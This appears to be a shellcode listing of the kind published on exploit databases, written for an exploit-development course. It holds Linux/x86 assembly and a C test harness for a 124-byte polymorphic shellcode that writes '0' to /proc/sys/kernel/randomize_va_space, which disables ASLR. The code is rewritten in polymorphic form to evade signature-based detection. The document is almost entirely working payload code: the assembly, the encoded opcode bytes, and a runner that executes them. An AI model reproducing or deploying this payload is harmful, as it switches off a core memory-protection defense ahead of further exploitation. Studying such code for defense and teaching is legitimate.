e46d9f65ff
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79 lines
No EOL
2.2 KiB
C
79 lines
No EOL
2.2 KiB
C
# Title: Linux/x86 - ASLR deactivation polymorphic shellcode ( 124 bytes )
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# Author: Xenofon Vassilakopoulos
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# Date: 2020-06-11
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# Tested on: Linux 3.13.0-32-generic #57~precise1-Ubuntu i686 i386 GNU/Linux
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# Architecture: i686 GNU/Linux
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# Shellcode Length: 124 bytes
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# Original shellcode: http://shell-storm.org/shellcode/files/shellcode-813.php
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# SLAE-ID: SLAE - 1314
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# Description: polymorphic version of ASLR deactivation shellcode
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------------------ ASLR deactivation ------------------
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global _start
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section .text
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_start:
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xor ebx,ebx
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mul ebx
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mov DWORD [esp-0x4],eax
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mov DWORD [esp-0x8],0x65636170
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mov DWORD [esp-0xc],0x735f6176
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mov DWORD [esp-0x10],0x5f657a69
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mov DWORD [esp-0x14],0x6d6f646e
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mov DWORD [esp-0x18],0x61722f6c
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mov DWORD [esp-0x1c],0x656e7265
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mov DWORD [esp-0x20],0x6b2f7379
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mov DWORD [esp-0x24],0x732f636f
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mov DWORD [esp-0x28],0x72702f2f
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sub esp,0x28
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mov ebx,esp
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mov cx,0x301
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mov dx,0x2a1
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add dx,0x1b
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mov al, 0x5
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int 0x80
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mov ebx,eax
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push ebx
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mov cx,0x3b30
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push cx
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mov ecx,esp
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shr edx, 16
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inc edx
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mov al,0x4
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int 0x80
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mov al,0x1
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int 0x80
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------------------ shellcode ------------------
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#include <stdio.h>
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#include <string.h>
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unsigned char code[] = \
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"\x31\xdb\xf7\xe3\x89\x44\x24\xfc\xc7"
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"\x44\x24\xf8\x70\x61\x63\x65\xc7\x44"
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"\x24\xf4\x76\x61\x5f\x73\xc7\x44\x24"
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"\xf0\x69\x7a\x65\x5f\xc7\x44\x24\xec"
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"\x6e\x64\x6f\x6d\xc7\x44\x24\xe8\x6c"
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"\x2f\x72\x61\xc7\x44\x24\xe4\x65\x72"
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"\x6e\x65\xc7\x44\x24\xe0\x79\x73\x2f"
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"\x6b\xc7\x44\x24\xdc\x6f\x63\x2f\x73"
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"\xc7\x44\x24\xd8\x2f\x2f\x70\x72\x83"
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"\xec\x28\x89\xe3\x66\xb9\x01\x03\x66"
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"\xba\xa1\x02\x66\x83\xc2\x1b\xb0\x05"
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"\xcd\x80\x89\xc3\x53\x66\xb9\x30\x3b"
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"\x66\x51\x89\xe1\xc1\xea\x10\x42\xb0"
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"\x04\xcd\x80\xb0\x01\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |